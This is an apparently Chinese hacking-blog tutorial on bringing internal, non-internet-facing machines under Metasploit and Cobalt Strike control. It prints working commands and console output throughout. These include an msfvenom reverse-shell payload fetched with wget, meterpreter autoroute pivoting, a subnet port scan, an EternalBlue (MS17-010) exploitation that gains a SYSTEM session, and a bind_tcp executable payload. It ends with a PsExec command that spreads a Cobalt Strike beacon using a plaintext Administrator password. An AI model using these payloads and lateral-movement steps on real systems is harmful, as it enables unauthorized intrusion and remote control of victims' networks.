天道酬勤

Msf和CS上线不出网的机器

内网中的很多机器是不可以出网的,那该如何在Msf和CS中上线呢?

MSF

我们的目标机器是一台linux服务器,我们先生成elf马。

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.101.90 LPORT=7777 -f elf >test.elf

在目标机器上使用wget命令,下载该马。

wget http://192.168.101.90:8080/test.elf

在msf中开启侦听,并在目标机器上运行此马。

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.101.90
lhost => 192.168.101.90
msf5 exploit(multi/handler) > set lport 7777
lport => 7777
msf5 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.101.90:7777 
[*] Sending stage (985320 bytes) to 192.168.101.91
[*] Meterpreter session 1 opened (192.168.101.90:7777 -> 192.168.101.91:38264) at 2020-02-13 10:32:09 +0800

meterpreter > 

至此我们便获得了一个meterpreter。

使用run get_local_subnets查看该机器的网段。

meterpreter > run get_local_subnets 

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 192.168.22.0/255.255.255.0
Local subnet: 192.168.101.0/255.255.255.0

从结果中,我们可以看到有一个192.168.22.0的网段。

为了探测该网段的机器,我们需要添加该网段的路由。

使用命令:run autoroute -s 192.168.22.0/24

meterpreter > run autoroute -s 192.168.22.0/24

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 192.168.22.0/255.255.255.0...
[+] Added route to 192.168.22.0/255.255.255.0 via 192.168.101.91
[*] Use the -p option to list all active routes

接下来探测该网段的机器,因为我提前设置好了,是一台win的机器,于是我就利用扫描模块中的portscan扫了该网段的445端口和3389端口。

msf5 auxiliary(scanner/portscan/tcp) > set ports 445,3389
ports => 445,3389
msf5 auxiliary(scanner/portscan/tcp) > set rhosts 192.168.22.0/24
rhosts => 192.168.22.0/24
msf5 auxiliary(scanner/portscan/tcp) > set threads 10
threads => 10
msf5 auxiliary(scanner/portscan/tcp) > exploit 

[+] 192.168.22.22:        - 192.168.22.22:445 - TCP OPEN
[+] 192.168.22.22:        - 192.168.22.22:3389 - TCP OPEN
[*] 192.168.22.0/24:      - Scanned  26 of 256 hosts (10% complete)
[*] 192.168.22.0/24:      - Scanned  52 of 256 hosts (20% complete)
[*] 192.168.22.0/24:      - Scanned  79 of 256 hosts (30% complete)
[*] 192.168.22.0/24:      - Scanned 103 of 256 hosts (40% complete)
[*] 192.168.22.0/24:      - Scanned 129 of 256 hosts (50% complete)
[*] 192.168.22.0/24:      - Scanned 154 of 256 hosts (60% complete)
[*] 192.168.22.0/24:      - Scanned 181 of 256 hosts (70% complete)
[*] 192.168.22.0/24:      - Scanned 205 of 256 hosts (80% complete)
[*] 192.168.22.0/24:      - Scanned 233 of 256 hosts (91% complete)
[*] 192.168.22.0/24:      - Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed

可以看到目标机器确实存在的。

目标机器存在永恒之蓝漏洞,我们可以利用ms17_010模块进行攻击。

msf5 exploit(windows/smb/ms17_010_psexec) > set rhosts 192.168.22.22
rhosts => 192.168.22.22
msf5 exploit(windows/smb/ms17_010_psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf5 exploit(windows/smb/ms17_010_psexec) > show options 

Module options (exploit/windows/smb/ms17_010_psexec):

   Name                  Current Setting                                                 Required  Description
   ----                  ---------------                                                 --------  -----------
   DBGTRACE              false                                                           yes       Show extra debug trace info
   LEAKATTEMPTS          99                                                              yes       How many times to try to leak transaction
   NAMEDPIPE                                                                             no        A named pipe that can be connected to (leave blank for auto)
   NAMED_PIPES           /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes       List of named pipes to check
   RHOSTS                192.168.22.22                                                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT                 445                                                             yes       The Target port
   SERVICE_DESCRIPTION                                                                   no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                                                                  no        The service display name
   SERVICE_NAME                                                                          no        The service name
   SHARE                 ADMIN$                                                          yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             .                                                               no        The Windows domain to use for authentication
   SMBPass                                                                               no        The password for the specified username
   SMBUser                                                                               no        The username to authenticate as


Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST     192.168.22.22    no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(windows/smb/ms17_010_psexec) > exploit 

[*] 192.168.22.22:445 - Target OS: Windows 7 Ultimate 7601 Service Pack 1
[*] 192.168.22.22:445 - Built a write-what-where primitive...
[+] 192.168.22.22:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.22.22:445 - Selecting PowerShell target
[*] 192.168.22.22:445 - Executing the payload...
[+] 192.168.22.22:445 - Service start timed out, OK if running a command or non-service executable...
[*] Started bind TCP handler against 192.168.22.22:4444
[*] Sending stage (180291 bytes) to 192.168.22.22
[*] Meterpreter session 3 opened (192.168.101.90-192.168.101.91:0 -> 192.168.22.22:4444) at 2020-02-13 11:16:34 +0800

meterpreter > ipconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 11
============
Name         : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:69:e3:0e
MTU          : 1500
IPv4 Address : 192.168.22.22
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::1a7:6b86:5d6f:6fb9
IPv6 Netmask : ffff:ffff:ffff:ffff::

可以看到攻击成功。

在这里要注意一点,我们的payload需要设置为bind_tcp

了解一下reverse_tcpbind_tcp区别:

[reverse_tcp]
attacker -> [contact me at the port 4444] -> victim

after the payload is executed
attacker <-> [port 4444] <-> victim

[bind_tcp]
attacker -> [open the way for me in the port 4444] -> victim

after execution
attacker <-> [port 4444] <-> victim

参考大佬的文章:https://blog.csdn.net/adidala/article/details/24117711

我的理解呢就是,如果目标机器可以上网,那就使用reverse_tcp,让目标机器出网连接我们的服务器,以此建立连接。

bind_tcp则是在目标机器处于内网中,无法出网的情况下使用。在无法出网的目标机器上开放一个端口,供攻击机通过转发的路由连接。


现在回到刚才的win机器,假设此机器没有永恒之蓝漏洞,但是我们通过猜测口令的方式登录了3389。此时我们可以利用msfvenom生成一个exe。那如何将此exe传到不出网的目标机器上呢?

msfvenom -p windows/meterpreter/bind_tcp LPORT=5555 -f exe >bind.exe

想了几种办法,第一种呢就是先将流量代理出去,通过代理登录该目标主机的远程桌面,传递exe,并执行;那另一种就是在第一台linux机器上利用python开启简易web服务,win主机通过curl或者bitsadmin等命令下载到本地,再执行(这个办法感觉有点猖狂)。(题外话:但是如果目标机器支持powershell的话,为什么不采用ps呢?)

不管通过什么办法,exe现在已经到了目标win机器上了。我们现在设置一下msf:

msf5 exploit(windows/smb/ms17_010_psexec) > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set rhost 192.168.22.22
rhost => 192.168.22.22
msf5 exploit(multi/handler) > set lport 5555
lport => 5555
msf5 exploit(multi/handler) > exploit 

这里一定要注意,获得meterpreter的顺序为:先在win机器上执行我们的exe,然后再在msf上执行exploit。与reverse_tcp的顺序刚好相反。

这样在内网的机器就可以上线了。

Cobalt strike

为了方便上线,我把web服务放在了一台win7上。

大体流程图如下:

假设win7的web服务存在命令执行漏洞,那么我们可以直接利用cs的ps脚本上线方式使其上线。

上线之后,对上线的机器使用net view命令

之后我们便收到:

192.168.22.22便是我们目标内网机器,该机器不出网,所以我们要使用间接方法使其上线。

接下来,使目标机器出网。

在刚才拿到的机器上建立一个:Listener

接下来利用该Listener生成一个exe:

此处Proxy可不写。

点击Generate之后,生成了一个beacon.exe.

另外我们还需要一个软件PsExec.exe

附下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec

将这两个exe上传到我们刚开始拿下的机器下(上传需要获得一个高权限):

上传ok之后,运行命令:

shell C:\Windows\Temp\PsExec.exe -accepteula \\192.168.22.12,192.168.22.22 -u Administrator -p teamssix.com -d -c C:\Windows\Temp\beacon.exe

虽然上述报了错,但是并不影响我们正常上线。

因为该内网中的机器是根据192.168.22.12的机器建立连接的,所以如果192.168.22.12断线,那么内网中的这台机器也将掉线。一掉全掉。

当然上线的方式还有很多种,在这里我只是列举了两种我觉得比较特殊的方式,其他的还是得多练才行。

参考文章:https://payloads.cn/2019/1213/cobaltstrike-advancedbatch-launch.html

赞(0) 打赏
未经允许不得转载:HackerGu‘s Blog » Msf和CS上线不出网的机器
分享到: 更多 (0)

评论 抢沙发

评论前必须登录!

 

专注黑客技术的研究

联系我们联系我们

觉得文章有用就打赏一下文章作者

微信扫一扫打赏